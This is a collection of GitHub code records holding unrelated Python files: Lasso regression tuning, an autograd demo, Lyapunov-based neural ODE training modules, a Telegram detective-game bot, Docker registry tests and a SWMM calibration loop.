Lasso(alpha=0.01, fit_intercept=fit_intercept, max_iter=10000),\n}\n\n# Train and evaluate the performance of the model\nfor model_name, model in models.items():\n print(\"\\nTraining and evaluating model %s\" %model_name)\n # Training\n model.fit(X_train, y_train)\n # Print coefficients\n print(model.coef_)\n # Make predictions for the test dataset\n y_test_prediction = model.predict(X_test)\n # Evaluate using RMSE\n print(\"RMSE: %.2e\" %(np.sqrt(metrics.mean_squared_error(y_test, y_test_prediction))))\n\n\n## Optimize Lasso regression parameter with a Grid Search\n# Re-used sample code at https://scikit-learn.org/stable/auto_examples/exercises/plot_cv_diabetes.html\nlasso = Lasso(fit_intercept=fit_intercept, max_iter=10000)\nalphas = np.logspace(-4, -0.5, 30)\n\ntuned_parameters = [{'alpha': alphas}]\nn_folds = 7 # 100 events per fold\n\nclf = GridSearchCV(lasso, tuned_parameters, cv=n_folds, refit=True)\nclf.fit(X, y)\nscores = clf.cv_results_['mean_test_score']\nscores_std = clf.cv_results_['std_test_score']\n\n# Make figure\nplt.figure().set_size_inches(8, 6)\nplt.semilogx(alphas, scores)\n\n# plot error lines showing +/- std. errors of the scores\nstd_error = scores_std / np.sqrt(n_folds)\nplt.semilogx(alphas, scores + std_error, 'b--')\nplt.semilogx(alphas, scores - std_error, 'b--')\nplt.fill_between(alphas, scores + std_error, scores - std_error, alpha=0.2)\n\nplt.ylabel('CV score +/- std error')\nplt.xlabel('alpha')\nplt.xlim([alphas[0], alphas[-1]])\nplt.savefig(\"alpha_grid_search.pdf\")\n\n\n## Best regression parameter alpha\nalpha_best = alphas[np.argmax(scores)]\nprint(\"Best regression parameter: %.2e\" %alpha_best)\n\n\n## Train Lasso model for the best regression parameter on the whole dataset\nmodel = Lasso(alpha=alpha_best, fit_intercept=fit_intercept)\nmodel.fit(X, y)\n# Print coefficients\nprint(model.coef_)\n\n\n## Make file to submit\nfile = open(\"to_submit.txt\", \"w\") \nfor coef in model.coef_:\n file.write(str(coef)+\"\\n\")\nfile.close()\n","repo_name":"friti/ML-Intro-course","sub_path":"task1b/task1b_flo.py","file_name":"task1b_flo.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5189971493","text":"#from __future__ import absolute_import\nimport autograd.numpy as np # Thinly-wrapped numpy\nfrom autograd import grad # The only autograd function you may ever need\nfrom autograd import elementwise_grad as egrad # for functions that vectorize over inputs\n\n\ndef tanh(x): # Define a function\n y = np.exp(-2.0 * x)\n return (1.0 - y) / (1.0 + y)\n\n\n#x = np.linspace(-1, 1, 1) #np.array([1,2])\nx2 = np.array([-1,0,1])\nx3 = np.float_(x2)\n\n#grad_tanh = grad(tanh) # Obtain its gradient function\n\nx0 = np.float_(1)\na = grad(tanh)(x0) # Evaluate the gradient at x = 1.0\nb = tanh(x3)\nc = grad(tanh)(x3)\nd = egrad(tanh)(x3)\n\n# b = (tanh(1.0001) - tanh(0.9999)) / 0.0002 # Compare to finite differences\n\nprint(a)\nprint(b)\nprint(c)\nprint(d)\n","repo_name":"suvoganguli/Stuff","sub_path":"Dell-Precision/Expts/Optimization/opt_autodiff2.py","file_name":"opt_autodiff2.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71645210385","text":"from typing import Any\nfrom math import sqrt\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nimport torch as th\nfrom torch import nn\nfrom torch.autograd.functional import jvp\nfrom torch.nn import functional as F\n\nfrom models import IVP\n\nADAPTIVE_SOLVERS = ['dopri8', 'dopri5', 'bosh3', 'fehlberg2', 'adaptive_heun',\n 'scipy_solver']\nFIXED_SOVLERS = ['euler', 'midpoint', 'rk4', 'explicit_adams',\n 'implicit_adams', 'fixed_adams']\n\n\ndef make_solver_params(solver_name, ode_tol):\n if solver_name in ADAPTIVE_SOLVERS:\n return dict(method=solver_name, rtol=ode_tol, atol=ode_tol)\n elif solver_name in FIXED_SOVLERS:\n return dict(\n method=solver_name,\n options=dict(\n step_size=ode_tol\n )\n )\n else:\n raise RuntimeError('[ERROR] Invalid Solver Name')\n\n\nclass AdversarialLearning(pl.LightningModule):\n\n def __init__(self, attacker, model) -> None:\n super().__init__()\n self.attacker = attacker\n self.model = model\n self.run_adv = False\n\n def test_step(self, batch, batch_idx):\n im, label = batch\n if self.run_adv:\n self.attacker.device = im.device\n with torch.enable_grad():\n # self.model.use_adjoint = True\n im_adv = self.attacker(im, label)\n # self.model.use_adjoint = False\n with torch.no_grad():\n net_out = self.model(im_adv)\n y_hat = net_out.argmax(dim=-1)\n error = (y_hat != label).float().mean()\n self.log('adv_test_error', error, on_epoch=True, on_step=False, logger=True)\n return error\n else:\n net_out = self.model(im)\n _, y_hat = th.max(net_out, dim=-1)\n error = (y_hat != label).float().mean()\n self.log('nominal_test_error', error, on_epoch=True, on_step=False, logger=True)\n return error\n\n\nclass PriorInference(pl.LightningModule):\n\n def __init__(self, model) -> None:\n super().__init__()\n self.model = model\n self.give_prior = False\n\n def test_step(self, batch, batch_idx):\n im, label = batch\n if self.give_prior:\n with torch.no_grad():\n prior = F.one_hot(label, num_classes=self.model.model.n_output)\n prior[prior == 0] = -1\n # add vectory of magnitude 5\n try:\n max_dist = sqrt(self.model.model.n_output * self.model.h_dist_lim ** 2)\n except:\n max_dist = sqrt(self.model.model.n_output * 15. ** 2)\n prior = F.normalize(prior.float(), p=2, dim=-1) * 0.1 * max_dist\n #add rnadom noise with std 1\n # prior += th.randn(*prior.shape).to(prior.device) * 0.1 * max_dist\n # prior = prior + .25* th.randn(*prior.shape).to(prior.device)\n # prior = prior * 10\n self.model.model.init_coordinates.update_prior([prior])\n net_out = self.model(im)\n y_hat = net_out.argmax(dim=-1)\n error = (y_hat != label).float().mean()\n self.log('prior_test_error', error, on_epoch=True, on_step=False,\n logger=True)\n return error\n else:\n net_out = self.model(im)\n _, y_hat = th.max(net_out, dim=-1)\n error = (y_hat != label).float().mean()\n self.log('nominal_test_error', error, on_epoch=True, on_step=False, logger=True)\n return error\n\nclass GeneralLearning(pl.LightningModule):\n def __init__(self, opt_name=\"SGD\",\n lr=1e-3, momentum=0.9, weight_decay=1e-4,\n decay_epochs=[30, 60, 90],\n beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__()\n self.opt_name = opt_name\n self.lr = lr\n self.betas = (beta1, beta2)\n self.eps = eps\n self.decay_epochs = decay_epochs\n self.weight_decay = weight_decay\n self.momentum = momentum\n self.criterion = nn.CrossEntropyLoss()\n self.criterion_per_el = nn.CrossEntropyLoss(reduction='none')\n\n def configure_optimizers(self):\n if self.opt_name == 'Adam':\n optimizer = th.optim.Adam(self.parameters(),\n lr=self.lr,\n weight_decay=self.weight_decay,\n amsgrad=False,\n betas=self.betas, eps=self.eps)\n elif self.opt_name == \"AdamW\":\n optimizer = th.optim.AdamW(self.parameters(), lr=self.lr,\n weight_decay=self.weight_decay,\n amsgrad=False,\n betas=self.betas, eps=self.eps)\n elif self.opt_name == 'SGD':\n optimizer = torch.optim.SGD(self.parameters(),\n lr=self.lr,\n momentum=self.momentum,\n weight_decay=self.weight_decay)\n elif self.opt_name == 'RMSprop':\n optimizer = torch.optim.RMSprop(self.parameters(),\n lr=self.lr,\n centered=True,\n momentum=self.momentum,\n weight_decay=self.weight_decay)\n elif self.opt_name == 'Nero':\n from libs.nero.optim.nero import Nero\n biases = list()\n weights = list()\n for name, param in self.named_parameters():\n if name .split('.')[-1] == 'bias' or (param.ndim == 2 and\n param.shape):\n biases += [param]\n else:\n weights += [param]\n optimizer = Nero([\n dict(params=biases, constraints=False),\n dict(params=weights)],\n lr=self.lr,\n beta=self.betas[0])\n else:\n raise RuntimeError(\n f\"[ERROR] Invalid Optimizer Param: {self.opt_name}\")\n\n scheduler = th.optim.lr_scheduler.MultiStepLR(optimizer=optimizer,\n milestones=self.decay_epochs,\n gamma=0.1)\n lr_scheduler = {\n 'scheduler': scheduler,\n 'name': 'learning_rate',\n 'monitor': 'training_loss',\n 'interval': 'epoch',\n 'frequency': 1\n }\n return [optimizer], [lr_scheduler]\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n batch_size = x.shape[0]\n\n loss = self.compute_loss(x, y, batch_size)\n\n self.log('training_loss', loss, on_step=True, on_epoch=True,\n logger=True)\n return loss\n\n def compute_loss(self, x, y, batch_size):\n raise NotImplementedError('[ERROR] Abstract Method.')\n\n def validation_step(self, batch, batch_idxs):\n x, y = batch\n net_out = self(x)\n _, y_hat = th.max(net_out, dim=-1)\n error = (y_hat != y).float().mean()\n loss = self.criterion(net_out, y)\n self.log('validation_loss', loss, on_epoch=True, on_step=False, logger=True)\n self.log('validation_error', error, on_epoch=True, on_step=False, logger=True)\n return loss\n\n def test_step(self, batch, batch_idx):\n x, y = batch\n net_out = self(x)\n _, y_hat = th.max(net_out, dim=-1)\n error = (y_hat != y).float().mean()\n loss = self.criterion(net_out, y)\n self.log('test_loss', loss, on_epoch=True, on_step=False, logger=True)\n self.log('test_error', error, on_epoch=True, on_step=False, logger=True)\n return loss\n\n\nclass ClassicalLearning(GeneralLearning):\n\n def __init__(self, model: nn.Module, opt_name=\"SGD\",\n lr=1e-3,\n momentum=0.9,\n weight_decay=1e-4,\n decay_epochs=[30, 60, 90],\n beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__(\n opt_name=opt_name, \n lr=lr, \n momentum=momentum,\n weight_decay=weight_decay, \n decay_epochs=decay_epochs,\n beta1=beta1, beta2=beta2, eps=eps)\n self.model = model\n\n def forward(self, x):\n return self.model(x)\n\n def compute_loss(self, x, y, batch_size):\n return self.criterion(self(x), y)\n\n\nclass ODELearning(GeneralLearning):\n def __init__(self, dynamics: nn.Module,\n output,\n n_input,\n n_output,\n init_fun,\n t_max=1.0,\n train_ode_solver='dopri5',\n train_ode_tol=1e-6,\n val_ode_solver='dopri5',\n val_ode_tol=1e-6,\n opt_name=\"SGD\",\n lr=1e-3,\n momentum=0.9,\n weight_decay=1e-4,\n decay_epochs=[30, 60, 90],\n beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__(\n opt_name=opt_name, lr=lr, momentum=momentum, weight_decay=weight_decay,\n decay_epochs=decay_epochs, beta1=beta1, beta2=beta2, eps=eps)\n self.t_max = t_max\n self.train_ode_solver = train_ode_solver\n self.train_ode_tol = train_ode_tol\n self.val_ode_solver = val_ode_solver\n self.val_ode_tol = val_ode_tol\n self.use_adjoint = False\n self.model = IVP(n_input=n_input,\n n_output=n_output,\n init_coordinates=init_fun,\n # n_hidden=tuple(h_dims),\n ts=th.linspace(0, t_max, 2),\n ode_tol=train_ode_tol,\n dyn_fun=dynamics,\n output_fun=output)\n @property\n def train_solver_params(self):\n return make_solver_params(self.train_ode_solver,\n self.train_ode_tol)\n\n @property\n def val_solver_params(self):\n return make_solver_params(self.val_ode_solver,\n self.val_ode_tol)\n\n def forward(self, x):\n return self.model(x, ts=th.linspace(0., self.t_max, 2, device=x.device),\n int_params=self.val_solver_params,\n use_adjoint=self.use_adjoint)\n\n def compute_loss(self, x, y, batch_size):\n return self.criterion(\n self.model(x, ts=th.linspace(0., self.t_max, 2, device=x.device),\n int_params=self.train_solver_params,\n use_adjoint=self.use_adjoint), y)\n\n\nclass LyapunovLearning(ODELearning):\n\n def __init__(self, order, h_sample_size, h_dist_lim,\n dynamics: nn.Module, output, n_input, n_output, init_fun,\n t_max=1.0, train_ode_solver='dopri5', train_ode_tol=1e-6,\n val_ode_solver='dopri5', val_ode_tol=1e-6, opt_name=\"SGD\",\n lr=1e-3, momentum=0.9, weight_decay=1e-4,\n decay_epochs=[30, 60, 90], beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__(dynamics, output, n_input, n_output, init_fun, t_max,\n train_ode_solver, train_ode_tol, val_ode_solver,\n val_ode_tol, opt_name, lr, momentum, weight_decay,\n decay_epochs, beta1, beta2, eps)\n self.order = order\n self.h_sample_size = h_sample_size\n self.h_dims = self.model.init_coordinates.h_dims\n self.h_dist_lim = h_dist_lim\n self.h_dist = None\n self.t_dist = None\n self.h_dist_init = lambda: th.distributions.Uniform(\n th.tensor(0., device=self.device),\n th.tensor(sqrt(n_output * h_dist_lim**2), device=self.device))\n self.t_dist_init = lambda: th.distributions.Uniform(\n th.tensor(0., device=self.device),\n th.tensor(float(self.t_max), device=self.device))\n\n def make_samples(self, x, y, x_in, y_in, batch_size):\n if self.h_dist is None:\n self.h_dist = self.h_dist_init()\n if self.t_dist is None:\n self.t_dist = self.t_dist_init()\n h_sample_in = []\n for i, h_dim in enumerate(self.h_dims):\n h_radius = self.h_dist.sample((self.h_sample_size, 1))\n h_vec = th.randn(self.h_sample_size, h_dim, device=self.device)\n F.normalize(h_vec, p=2.0, dim=1, out=h_vec)\n h_sample = h_vec *h_radius\n h_sample.requires_grad = True\n h_sample = h_sample[None].repeat(batch_size, 1, 1).flatten(\n 0, 1)\n h_sample_in += [h_sample]\n t_sample = self.t_dist.sample((1,)).squeeze()\n # t_sample = self.t_dist((batch_size, self.h_sample_size)).flatten(0,1)\n return t_sample, h_sample_in\n\n def compute_loss(self, x, y, batch_size):\n static_state, _ = self.model.init_coordinates(x, self.model.dyn_fun)\n x_in = static_state[:, None].expand(-1, self.h_sample_size, *((-1,)*(static_state.ndim-1))).flatten(0, 1)\n y_in = y[:, None].expand(-1, self.h_sample_size).flatten(0, 1)\n\n def v_ndot(order: int, t_sample, *oc_in):\n assert isinstance(order, int) and order >= 0, \\\n f\"[ERROR] Order({order}) must be non-negative integer.\"\n if order == 0:\n return F.cross_entropy(self.model.output_fun(oc_in), y_in, reduction='none')\n elif order == 1:\n return jvp(func=lambda *x: v_ndot(0, t_sample, *x),\n inputs=tuple(oc_in),\n v=self.model.dyn_fun.eval_dot(t_sample, tuple(oc_in), x_in),\n create_graph=True)\n else:\n returns = tuple()\n for i in range(1, order):\n returns += v_ndot(i, t_sample, *oc_in)\n returns += (jvp(func=lambda *x: v_ndot(order-1,t_sample, *x)[-1],\n inputs=tuple(oc_in),\n v=self.model.dyn_fun.eval_dot(t_sample, tuple(oc_in), x_in),\n create_graph=True)[-1],)\n return returns\n\n t_samples, h_sample_in = self.make_samples(x, y, x_in, y_in, batch_size)\n if self.order == 0:\n raise NotImplementedError('[TODO] Implement this.')\n elif self.order == 1:\n v, vdot = v_ndot(1, t_samples, *h_sample_in)\n violations = th.relu(vdot + self.model.dyn_fun.max_factor * v.detach())\n elif self.order == 2:\n v, vdot, vddot = v_ndot(2, t_samples, *h_sample_in)\n violations = th.relu(vddot + 20 * vdot + 100 * v.detach())\n elif self.order == 3:\n v, vdot, vddot, vdddot = v_ndot(3, t_samples, *h_sample_in)\n violations = th.relu(vdddot + 1000 * vddot + 300 * vdot + 30 * v)\n else:\n raise NotImplementedError(\"[ERROR] Invalid lyapunov order.\")\n violation_mask = violations > 0\n effective_batch_size = (violation_mask).sum()\n nominal_batch_size = y_in.shape[0]\n if effective_batch_size / nominal_batch_size < 0.7 and \\\n self.model.dyn_fun.gain.item() > 1.0 and self.current_epoch <= 60:\n self.model.dyn_fun.gain = self.model.dyn_fun.gain.clone() * 0.9999\n elif effective_batch_size / nominal_batch_size > 0.1 and \\\n self.model.dyn_fun.gain.item() < 100.0 and self.current_epoch > 60:\n self.model.dyn_fun.gain = self.model.dyn_fun.gain.clone() * 1.0001\n\n loss = violations.mean()\n self.log(\"model_gain\", self.model.dyn_fun.gain, on_step=True, logger=True)\n self.log('effective_batch_size', effective_batch_size, on_step=True, logger=True)\n h_sample_in = None\n x_in = None\n y_in = None\n return loss\n\n\nclass PILyapunovLearning(LyapunovLearning):\n\n def __init__(self, t_upper, t_delta, patience, minimum_effective_batch_size,\n order, h_sample_size, h_dist_lim,\n dynamics: nn.Module,\n output, n_input, n_output, init_fun, t_max=1.0,\n train_ode_solver='dopri5', train_ode_tol=1e-6,\n val_ode_solver='dopri5', val_ode_tol=1e-6, opt_name=\"SGD\",\n lr=1e-3, momentum=0.9, weight_decay=1e-4,\n decay_epochs=[30, 60, 90], beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__(order, h_sample_size, h_dist_lim, dynamics,\n output, n_input, n_output, init_fun, t_max,\n train_ode_solver, train_ode_tol, val_ode_solver,\n val_ode_tol, opt_name, lr, momentum, weight_decay,\n decay_epochs, beta1, beta2, eps)\n self.t_upper = t_upper\n self.t_delta = t_delta\n self.patience = patience\n assert self.h_sample_size >= 3, \"[ERROR] Path Integral Mode requires \" \\\n \"at least three h samples in batch.\"\n self.minimum_effective_batch_size = minimum_effective_batch_size\n self.previous_batch_sizes = np.zeros((self.patience,)) + np.inf\n self.reached_t_max = False\n self.t_dist = th.distributions.Uniform(\n th.tensor(0., device=self.device),\n th.tensor(self.t_upper, device=self.device))\n\n def on_train_batch_end(self,\n outputs: Any,\n batch: Any,\n batch_idx: int,\n dataloader_idx: int) -> None:\n super().on_train_batch_end(outputs, batch, batch_idx, dataloader_idx)\n if self.reached_t_max:\n return\n logs = self.logger.callback_metrics\n eb_size = logs.get('effective_batch_size')\n self.previous_batch_sizes = np.roll(self.previous_batch_sizes, -1)\n self.previous_batch_sizes[-1] = eb_size\n has_patience = (\n self.previous_batch_sizes > self.minimum_effective_batch_size).any()\n if has_patience:\n return\n new_t_upper = self.t_upper + self.t_delta\n if new_t_upper >= self.t_max:\n new_t_upper = self.t_max\n self.reached_t_max = True\n self.t_upper = new_t_upper\n self.t_dist = th.distributions.Uniform(\n th.tensor(0., device=self.t_dist.low.device),\n th.tensor(new_t_upper, device=self.t_dist.high.device)\n )\n\n def make_samples(self, x, y, x_in, y_in, batch_size):\n #TODO: Fix this for const state x\n # because zero probability events indeed happen\n while True:\n ts = th.cat([th.tensor([th.finfo(x.dtype).tiny],\n device=self.device),\n self.t_dist.sample(\n (self.h_sample_size - 2,)).sort()[0],\n th.tensor([self.t_upper], device=self.device)],\n dim=0)\n # time hast o be strictly increasing or strictly decreasing.\n if (ts[1:] > ts[:-1]).all():\n break\n with torch.no_grad():\n state_sample = self.model.integrate(x, ts,\n self.train_solver_params)\n h_sample_in = []\n for i, state_sample in enumerate(state_sample):\n h_sample_in.append(\n state_sample.transpose(1, 0).flatten(0, 1))\n # h_sample_in[-1] += self.h_dist.sample(h_sample_in[-1].shape)\n h_sample_in[-1].requires_grad = True\n return h_sample_in\n\n def compute_loss(self, x, y, batch_size):\n self.log('t_upper', self.t_upper, on_step=True, logger=True)\n return super().compute_loss(x, y, batch_size)\n\nfrom libs.ContinuousNet.continuous_net.continuous_net import ContinuousNet\n\nclass ContinuousNetLyapunovLearning(GeneralLearning):\n def __init__(self, model: ContinuousNet,\n order = 0,\n opt_name=\"SGD\", lr=1e-3,\n momentum=0.9, weight_decay=1e-4,\n decay_epochs=[30, 60, 90], beta1=0.9, beta2=0.999, eps=1e-8):\n super().__init__(opt_name, lr, momentum, weight_decay, decay_epochs,\n beta1, beta2, eps)\n assert order in [0, 1], f\"[ERROR] Invalid order: {order}.\"\n self.model = model\n self.order = order\n self.delta_t = self.model.dyns[0].ts[1] - self.model.dyns[0].ts[0]\n self.disc_alpha = 1 - th.exp((-10/3) * self.delta_t)\n\n def forward(self, x):\n return self.model(x)\n\n def compute_loss(self, x, y, batch_size):\n self.model(x)\n\n if self.order == 0:\n yts = self.model.state_traj_output()\n lya_truth = y.expand(yts.shape[0], -1).flatten(0, 1)\n lya_state = yts.flatten(0, 1)\n v = self.criterion_per_el(lya_state, lya_truth).unflatten(0, yts.shape[:2])\n v_delta = v[1:] - v[:-1].detach()\n violation = torch.relu(v_delta + self.disc_alpha * v[:-1].detach()).mean()\n else:\n assert self.order == 1, f\"[ERROR] Invalid order: {self.order}.\"\n yts, yts_dot = self.model.full_traj_output()\n lya_truth = y.expand(yts.shape[0], -1).flatten(0, 1)\n lya_state = yts.flatten(0, 1)\n v, vdot = torch.autograd.functional.jvp(\n func=lambda x: self.criterion_per_el(x, lya_truth),\n inputs=(lya_state,),\n v=yts_dot.flatten(0,1),\n create_graph=True)\n v_delta = v[1:] - v[:-1].detach()\n violation0 = torch.relu(v_delta + self.disc_alpha * v[:-1].detach())\n violation1 = torch.relu(vdot + (10/3) * v.detach())\n violation = violation0.mean() * violation1.mean()\n self.log('Mean v_dot', vdot.mean(), on_step=True, on_epoch=True)\n self.log('Mean v', v.mean(), on_step=True, on_epoch=True)\n self.log('Mean v_delta', v_delta.mean(), on_step=True, on_epoch=True)\n return violation","repo_name":"ivandariojr/LyapunovLearning","sub_path":"pl_modules.py","file_name":"pl_modules.py","file_ext":"py","file_size_in_byte":22205,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"74025134225","text":"import logging\n\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\nfrom telegram.ext import (\n Updater,\n CommandHandler,\n MessageHandler,\n Filters,\n CallbackQueryHandler,\n)\nfrom config import TOKEN\nfrom deck import DECK\nfrom hand import Hand\nfrom requestsSQL import delete_hand\nfrom teleanswer import Answers, AnswerText\n\nlogging.basicConfig(\n level=logging.INFO, format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\"\n)\nlogger = logging.getLogger()\n\n\ndef start_tele_bot():\n updater = Updater(TOKEN, use_context=True)\n dispatcher = updater.dispatcher\n\n set_handlers(dispatcher)\n dispatcher.add_error_handler(error)\n\n updater.start_polling()\n updater.idle()\n\n\ndef set_handlers(dispatcher):\n command_handlers = {\n \"start\": start,\n \"help\": help_game,\n \"start_game\": start_game,\n \"zero_hand\": restart,\n \"next_cards\": next_cards,\n \"time_left\": time_left,\n \"my_user_name\": my_user_name,\n \"find_parent\": find_parent,\n \"m1\": finish_investigation,\n }\n add_handlers(dispatcher, command_handlers)\n\n dispatcher.add_handler(MessageHandler(Filters.text, text))\n dispatcher.add_handler(MessageHandler(Filters.command, unknown))\n\n dispatcher.add_handler(CallbackQueryHandler(button))\n\n\ndef add_handlers(dispatcher, command_handlers):\n for command, callback in command_handlers.items():\n dispatcher.add_handler(CommandHandler(command, callback))\n\n\ndef start(update, context):\n with open(\"greetings.txt\", \"r\") as f:\n greetings = f.read()\n\n answers = Answers()\n answers.add_answer([AnswerText(greetings), AnswerText(\"/start_game\")])\n\n show_answers(update, answers)\n\n\ndef start_game(update, context):\n show_answers(update, Answers(AnswerText(\"Начнем расследование\")))\n\n hand = Hand.get_hand(id_user(update.message.chat))\n show_answers(update, hand.answer(DECK.start_investigation()))\n\n\ndef restart(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n delete_hand(hand)\n\n start(update, context)\n\n\ndef help_game(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n\n answers = Answers()\n answers.add_answer(\n [\n AnswerText(\n f\"/next_cards - доступные НЕ открытые карты: {hand.next_cards()}\"\n ),\n AnswerText(f\"/time_left - прошло время: {hand.time_left}\"),\n AnswerText(f\"/find_parent xx - найти карту, которая привела к карте хх\"),\n AnswerText(f\"/m1 - закончить расследование\"),\n ]\n )\n\n show_answers(update, answers)\n show_buttons(update)\n\n\ndef next_cards(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n show_answers(\n update, Answers(AnswerText(f\"доступные НЕ открытые карты: {hand.next_cards()}\"))\n )\n print(update.message.text)\n\n\ndef find_parent(update, context):\n \"\"\"find the card that led to the desired\"\"\"\n hand = Hand.get_hand(id_user(update.message.chat))\n id_card = update.message.text.replace(\"/find_parent\", \"\")\n show_answers(update, hand.find_parent(id_card))\n\n\ndef finish_investigation(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n show_answers(update, hand.answer(DECK.finish_investigation()))\n\n\ndef error(update, context):\n show_answers(update, Answers(AnswerText(\"an error occurred\")))\n\n\ndef unknown(update, context):\n show_answers(update, Answers(AnswerText(\"Извини, я очень ограничен в ответах)))\")))\n\n\ndef text(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n show_answers(update, hand.answer(update.message.text))\n\n\ndef time_left(update, context):\n hand = Hand.get_hand(id_user(update.message.chat))\n show_answers(update, Answers(AnswerText(f\"прошло время: {hand.time_left}\")))\n\n\ndef my_user_name(update, context):\n show_answers(update, Answers(AnswerText(id_user(update.message.chat))))\n\n\ndef id_user(chat):\n return chat.username if chat.username else str(chat.id)\n\n\ndef show_answers(update, answers):\n for answer in answers.get_answers():\n if answer.is_picture():\n reply_picture(update, answer.body)\n elif answer.is_button():\n reply_text(update, answer.body)\n elif answer.is_text():\n reply_text(update, answer.body)\n\n\ndef reply_text(update, text_answer: str):\n update.message.reply_text(text_answer)\n\n\ndef reply_picture(update, picture_answer: str):\n update.message.reply_photo(open(picture_answer, \"rb\"))\n\n\ndef build_menu(buttons, n_cols, header_buttons=None, footer_buttons=None):\n menu = [buttons[i : i + n_cols] for i in range(0, len(buttons), n_cols)]\n if header_buttons:\n menu.insert(0, [header_buttons])\n if footer_buttons:\n menu.append([footer_buttons])\n return menu\n\n\ndef show_buttons(update):\n # список кнопок\n keyboard = [\n [\n InlineKeyboardButton(\"Option 1\", callback_data=\"1\"),\n InlineKeyboardButton(\"Option 2\", callback_data=\"2\"),\n ],\n [InlineKeyboardButton(\"Option 3\", callback_data=\"3\")],\n ]\n\n # сборка клавиатуры из кнопок `InlineKeyboardButton`\n # reply_markup = InlineKeyboardMarkup(build_menu(keyboard, n_cols=2))\n reply_markup = InlineKeyboardMarkup(keyboard)\n # отправка клавиатуры в чат\n update.message.reply_text(\"Пожалуйста, выберите:\", reply_markup=reply_markup)\n\n\ndef button(update, _):\n query = update.callback_query\n variant = query.data\n query.answer()\n # query.edit_message_text(text=f\"s1\")\n query.edit_message_text(text=f\"{str(query)}\")\n","repo_name":"igoroalex/PockDet","sub_path":"teleAPI.py","file_name":"teleAPI.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6514831540","text":"import unittest\nimport json\nimport logging\nfrom unittest.mock import patch\nfrom app.httpreq.req import get_json\nfrom app.docker.catalog import Catalog\nfrom app.docker.repository import Repository\nfrom app.docker.tag import Tag\n\nclass TestDockerRegistryManager(unittest.TestCase):\n\n @patch('app.httpreq.req.get_json')\n def test_catalog(self, patch):\n # mocking http request\n patch.return_value = {\"repositories\": [\"repo1\", \"repo2\", \"repo3\"]}\n test_list = [Repository('repo1'), Repository('repo2'), Repository('repo3')]\n\n cat = Catalog()\n ret = cat.get_catalog()\n \n self.assertEqual(len(test_list), len(ret))\n\n for index, repo in enumerate(ret):\n self.assertEqual(test_list[index].name, repo.name)\n \n @patch('app.httpreq.req.get_json')\n def test_repository(self, patch):\n # mocking http request\n patch.return_value = {\"name\": \"repo1\", \"tags\": [\"tag1\", \"tag2\", \"tag3\"]}\n test_list = [Tag('repo1', 'tag1'), Tag('repo1', 'tag2'), Tag('repo1', 'tag3')]\n\n rep = Repository('repo1')\n ret = rep.get_tags()\n\n self.assertEqual(len(test_list), len(ret))\n\n for index, tag in enumerate(ret):\n self.assertEqual(test_list[index].name, tag.name)\n self.assertEqual(test_list[index].tag, tag.tag)\n\n @patch('app.httpreq.req.get_image_ref')\n def test_tag(self, patch):\n # mocking http request\n sha = \"sha:0145ds51005gg515e\"\n patch.return_value = sha\n tag = Tag('repo1', 'tag1')\n tag.retrieve_manifest()\n\n self.assertEqual('repo1', tag.name)\n self.assertEqual('tag1', tag.tag)\n self.assertEqual(sha, tag.sha)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"Adrcpp/docker-rm","sub_path":"tests/dock-tests.py","file_name":"dock-tests.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15978477419","text":"import Objective_functions\r\nimport Main\r\nimport CreateGuesses\r\nimport NextGuesses\r\nimport FileSettings\r\nimport multiprocessing\r\n\r\n\r\n# Try creating a new function to define nextmatingpool and the mapped next_insertguessestoinputfile()\r\n\r\ndef np_generations(Unionsetlist, observationdatafile, distancefilename, root):\r\n \"\"\"Governs the generations process for SWMMCALPY. For X number of generations, each input file is simulated using\r\n PySWMM, and then its nearness to the observational data time series is evaluated. The input files are then ranked\r\n and selected by a tournament selection for persistence into the next generation.\r\n\r\n :param Unionsetlist:\r\n :param observationdatafile:\r\n :param distancefilename:\r\n :param root:\r\n :return:\r\n \"\"\"\r\n global solution, iteration\r\n\r\n for iteration in range(FileSettings.geneticdict['generations']):\r\n print(iteration)\r\n global P_prime\r\n P_prime = Main.pool.map(Objective_functions.Par_objectivefunctions, FileSettings.settingsdict['Unionsetlist'])\r\n for guess in Objective_functions.par_rankP_prime():\r\n if guess == 0:\r\n print(Objective_functions.par_aggFunc[Objective_functions.par_rankP_prime().index(guess)])\r\n print(Unionsetlist[Objective_functions.par_rankP_prime().index(guess)])\r\n solution = Unionsetlist[Objective_functions.par_rankP_prime().index(guess)]\r\n global nextmatingpool\r\n nextmatingpool = CreateGuesses.next_fillmatingpool()\r\n try:\r\n Main.pool.map(CreateGuesses.next_insertguessestoinputfile, nextmatingpool)\r\n except IndexError:\r\n print(\"IndexError\")\r\n return\r\n\r\n\r\ndef obj_func_writer():\r\n return\r\n","repo_name":"edwardtiernan/snake_game","sub_path":"Generations_Numpy.py","file_name":"Generations_Numpy.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41536463323","text":"#!/usr/bin/env python3\n# Created By: Minab Berhane\n# Date: November 13 2022\n# This program that accepts a whole number. It then uses a for loop to calculate and display the “square” starting from 0 until this number.\n\n\ndef main():\n \n # set variables\n 